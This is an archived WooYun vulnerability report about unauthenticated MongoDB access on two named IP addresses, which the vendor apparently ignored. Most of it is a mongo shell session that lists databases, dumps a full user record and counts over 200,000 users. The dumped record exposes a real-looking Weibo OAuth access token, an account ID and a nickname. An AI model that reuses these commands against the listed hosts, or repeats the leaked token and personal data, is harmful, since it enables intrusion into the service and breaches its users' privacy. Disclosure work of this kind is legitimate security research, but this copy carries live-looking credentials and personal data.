乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-01-19: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-03-05: 厂商已经主动忽略漏洞,细节向公众公开
mongodb未授权访问,20w用户信息泄漏。
118.192.69.205:28017118.192.69.204:28017
mongo 118.192.69.205> show dbsadmin (empty)butter 0.203GBclock_bugtracher (empty)clock_bugtracker 0.203GBkfc1007 5.951GBlocal (empty)test (empty)zombie 0.203GB> db.user.find().limit(1).pretty(){ "_id" : ObjectId("5195ed8a34b3d012352a68d8"), "account" : "weibo_3373253644", "avatar" : "http://tuibo.qiniudn.com/bb1e78328d5f41c5894d685e704f8dde.jpg", "client" : "ios", "followed" : 8, "followed_by" : 6, "maitaed_by" : 4, "message" : { "followed_by" : 1, "global_old" : 68, "person" : 0, "pushed_by" : 5, "pushed_by_ts" : NumberLong(1400676552), "reply_by" : 1, "reply_by_ts" : NumberLong(1400923537), "system" : 0, "system_ts" : 1374838772.499371 }, "new_messages" : 30, "nickname" : "赤脚大怪", "options" : { "push_for_follow" : true, "push_for_push" : true, "push_for_reply" : true, "push_for_system" : true, "sync_for_weibo" : true }, "others" : { "background" : "http://tuibo.qiniudn.com/20351667c94e4bd6925843f04d11186d.jpg", "large_avatar" : "http://tuibo.qiniudn.com//30299d49f4ac4d1dab73765ba06c9d2e.jpg" }, "published" : 11, "pushed" : 44, "pushed_by" : 28, "read_mark_ts" : { "followed_by" : 1373339501.393544, "pushed_by" : 1378267308.834958, "reply_by" : 1374838326.28418, "system" : 1378267287.80178 }, "register_time" : 1368780170.967144, "thirdpart_info" : { "weibo" : { "token" : "2.00q3pRgDHOrzQD3c57de3709riYiQB", "user_account" : "3373253644", "expires" : "1384110002.766556", "user_nickname" : "赤脚大怪" } }, "update_time" : NumberLong(1403579370), "user_description" : "每个人,都是生活发现者。"}> db.user.find().count()224187
connecting to: 118.192.69.204/test> show dbsadmin (empty)corax_dev 5.951GBlocal (empty)zombie 0.203GB> use corax_devswitched to db corax_dev> show collectionsapns_tokenbannerbroadcast_msgcategorycronday_pushfollowfusionjumplogin_accountmaitaperson_messageperson_message_logpushreply_messagesessionsysmessagesystem.indexessystem.userssystem_messagesystem_message_globaltemperaturetopictopic_commenttopic_comment_reporttopic_reportuserusersweibo_bind_friendsweibo_midweibo_uid> db.user.find().count()238871
直接访问
授权
未能联系到厂商或者厂商积极拒绝